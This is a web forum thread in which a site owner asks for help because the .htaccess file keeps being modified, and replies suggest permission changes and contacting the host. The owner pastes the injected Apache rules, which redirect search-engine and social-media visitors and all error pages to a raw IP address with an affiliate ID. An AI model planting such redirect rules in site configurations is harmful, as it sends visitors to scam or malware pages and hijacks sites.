[smandi08]

Hi
My site news9(dot) biz using 1.03 version hosted on php 5.0
I noticed that someone is keep changing .htaccess file & adding some antivirus download links at the bottom of the file.
File attribute is 644.
What is the remedy.

[Yankidank]

Could you copy/paste the example lines that are being added?

[Ascendancy]

You could try setting it to 444 as a read-only file. This doesn't solve how someone is editing your file with spam links, but it'll at least save you time and block out anyone from making changes. Unless whoever is doing this has FTP access to your account, in which they can just CHMOD and edit the file again... sounds like a tricky situation.

[smandi08]

Originally Posted by Yankidank

Could you copy/paste the example lines that are being added?

These are the lines being changed/ added:
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
ErrorDocument 400 http://94.102.48.46/main.php?land=20&affid=20103
ErrorDocument 401 http://94.102.48.46/main.php?land=20&affid=20103
ErrorDocument 403 http://94.102.48.46/main.php?land=20&affid=20103
ErrorDocument 404 http://94.102.48.46/main.php?land=20&affid=20103
ErrorDocument 500 http://94.102.48.46/main.php?land=20&affid=20103
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://94.102.48.46/main.php?land=20&affid=20103 [R=301,L]

I already tried changing FTP access password & permission from 644 to 444. Nothing stops. Thanks

[Yankidank]

I would contact your web host provider to see if they could suggest a way to secure your server better. They are definitely adding some sneaky malware to your site.